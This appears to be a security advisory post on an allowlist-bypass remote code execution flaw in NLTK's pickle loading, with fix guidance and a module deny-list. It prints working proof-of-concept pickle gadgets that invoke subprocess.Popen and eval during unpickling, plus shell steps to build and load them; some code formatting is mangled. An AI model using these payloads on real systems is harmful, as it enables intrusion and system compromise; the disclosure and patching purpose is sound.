Listen to this Post
The vulnerability, identified within NLTK’s pickle security module, stems from an allowlist bypass that permits remote code execution during deserialization. NLTK introduced allowlisted pickle loading to replace raw pickle.load, aiming to restrict unpickling to safe modules. The `allowlisted_pickle_load` function enforces an allowlist by checking if a requested global’s module starts with any allowed module prefix. This prefix-based matching logic is fundamentally flawed because it grants access to an entire module tree rather than specific, safe classes or functions. When the Python pickle protocol encounters a REDUCE opcode, it invokes a callable object specified in the pickle stream. An attacker can craft a pickle where the REDUCE callable is a dangerous function that resides within an allowed namespace. Two concrete gadgets exist in the current source tree (v3.10.0-rc2) that exploit this flaw. First, `punkt_pickle_load` allowlists `nltk.tokenize.punkt` and the broader `nltk.tokenize` namespace. This inadvertently exposes nltk.tokenize.repp.ReppTokenizer._execute, a method that calls `subprocess.Popen` with user-controllable arguments. Second, `TransitionParser.parse` uses `allowlisted_pickle_load` with allowed_modules=("numpy", "scipy", "sklearn"). This exposes numpy.f2py.crackfortran.myeval, which passes attacker-controlled strings to Python’s `eval` function. The PoC demonstrates that by setting the command to touch /tmp/marker, the marker file is created immediately during unpickling. For the Punkt gadget, the payload triggers `subprocess.Popen` to run the shell command as part of the object construction. For the TransitionParser gadget, the payload triggers `eval` to execute arbitrary Python code, also writing a marker file. In both cases, the malicious code executes before the caller’s function returns or before any type validation is performed. The published version 3.9.4 was not explicitly targeted by this bypass, but the current release candidate is confirmed vulnerable. The intended security mechanism gives developers a false sense of security, as the allowlist is trivially bypassable. The root cause is the architectural decision to trust module namespaces instead of explicitly enumerating safe globals. This is a classic deserialization anti-pattern, similar to historical Java or .NET deserialization flaws. NLTK’s developers have proposed a fix that overhauls the `find_class` method to reject any dotted name traversal. The fix also introduces a hardcoded deny-list for dangerous modules like os, subprocess, sys, builtins, numpy.f2py, and nltk.tokenize.repp. Additionally, exact `allowed_globals` sets are defined to permit only primitive types like `int` and `str` and specific data classes. The `punkt` loader will retain only `nltk.tokenize.punkt` and exact `collections.defaultdict` and builtins.int. The `transitionparser` loader will keep numpy, scipy, and `sklearn` but rely on the new backstop deny-list to block the gadgets. A full pickle-sink audit confirmed that no raw `pickle.load` or other dangerous serialization loaders (joblib, torch, etc.) are used elsewhere. The remaining loaders, such as `data.load` and wordnet_app, use `RestrictedUnpickler` which blocks all globals, making them safe. The attack demonstration confirms that the proposed security patches effectively block both the dotted traversal and the specific gadgets. This vulnerability underscores the difficulty of securing Python deserialization and the necessity of adopting an allowlist of exact callables. Without this patch, any application that loads untrusted tokenizer or model artifacts via these NLTK APIs is at risk of complete system compromise.
DailyCVE Form:
Platform: NLTK Library
Version: 3.10.0-rc2
Vulnerability: Allowlist Bypass RCE
Severity: High
date: 2026-09-08
Prediction: 2026-10-15
What Undercode Say:
Clone vulnerable source and checkout rc2
git clone https://github.com/nltk/nltk.git
cd nltk
git checkout v3.10.0-rc2
Generate and deploy malicious Punkt payload
python3 - <<EOF
import pickle, sys, subprocess
from io import BytesIO
from nltk.tokenize.punkt import punkt_pickle_load
Gadget: nltk.tokenize.repp.ReppTokenizer._execute
class FakeRepp:
def __reduce__(self):
return (getattr(__import__('nltk.tokenize.repp'), 'ReppTokenizer')._execute, (['touch','/tmp/punkt_marker'],))
payload = pickle.dumps(FakeRepp())
punkt_pickle_load(BytesIO(payload))
EOF
Verify marker created
ls -la /tmp/punkt_marker
Run the new security test suite to verify blocks
pytest test_pickle_allowlist_security.py -v
Check for denied module backstop
python3 -c "import pickle, os, sys; from nltk.picklesec import allowlisted_pickle_load; from io import BytesIO; payload=pickle.dumps(os.system); allowlisted_pickle_load(BytesIO(payload), allowed_modules=('os',))"
Exploit: (Educational Purposes!)
import pickle
import subprocess
import sys
from io import BytesIO
-- Gadget 1: Punkt (subprocess.Popen) --
class PunktExploit:
def <strong>reduce</strong>(self):
Invoke ReppTokenizer._execute with cmd args
repp = <strong>import</strong>('nltk.tokenize.repp').ReppTokenizer
return (repp._execute, (['touch', '/tmp/pwned_punkt'],))
payload_punkt = pickle.dumps(PunktExploit())
with open('punkt_rce.pkl', 'wb') as f:
f.write(payload_punkt)
Load with vulnerable punkt_pickle_load
from nltk.tokenize.punkt import punkt_pickle_load
punkt_pickle_load(BytesIO(payload_punkt)) creates /tmp/pwned_punkt
-- Gadget 2: TransitionParser (eval) --
class TParserExploit:
def <strong>reduce</strong>(self):
Invoke numpy.f2py.crackfortran.myeval with attacker code
numpy = <strong>import</strong>('numpy')
return (numpy.f2py.crackfortran.myeval, ("<strong>import</strong>('os').system('touch /tmp/pwned_tp')",))
payload_tp = pickle.dumps(TParserExploit())
with open('tp_rce.pkl', 'wb') as f:
f.write(payload_tp)
Load with TransitionParser.parse (via allowlisted_pickle_load)
from nltk.parse.transitionparser import TransitionParser
tp = TransitionParser()
tp.parse(['test'], model_file=BytesIO(payload_tp)) creates /tmp/pwned_tp
Protection: from this CVE
Replace all module-prefix allowlists with exact `(module, qualname)` pairs. Apply the upstream `find_class` hardening that rejects any dotted name traversal, denies dangerous modules (os, subprocess, sys, builtins, numpy.f2py, nltk.tokenize.repp) wholesale even when a broad allowlist is given, and enforces explicit safe globals (e.g. builtins.int, collections.defaultdict) via allowed_globals. Ensure `punkt_pickle_load` drops the broad `nltk.tokenize` and keeps only nltk.tokenize.punkt. Keep `numpy/scipy/sklearn` in transitionparser only because their submodules are needed for array unpickling, but rely on the new backstop deny-list to block the gadgets. Treat post-load type validation as secondary defense.
Impact:
Any application using NLTK’s `punkt_pickle_load` or `TransitionParser.parse` (or any direct call to `allowlisted_pickle_load` with broad modules) to load untrusted tokenizer or model artifacts is vulnerable to full remote command execution. The attacker achieves code execution during the unpickling phase itself, before any application-level validation, effectively defeating the security wrapper. This creates a hazardous false sense of safety because developers believe the allowlist provides protection, while in reality a crafted pickle can trivially invoke shell commands or evaluate arbitrary Python code. The vulnerability affects all versions up to v3.10.0-rc2, and because NLTK is deeply integrated in academic and production ML pipelines, successful exploitation can lead to data exfiltration, lateral movement, or complete system compromise on the host running the unpickling process.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

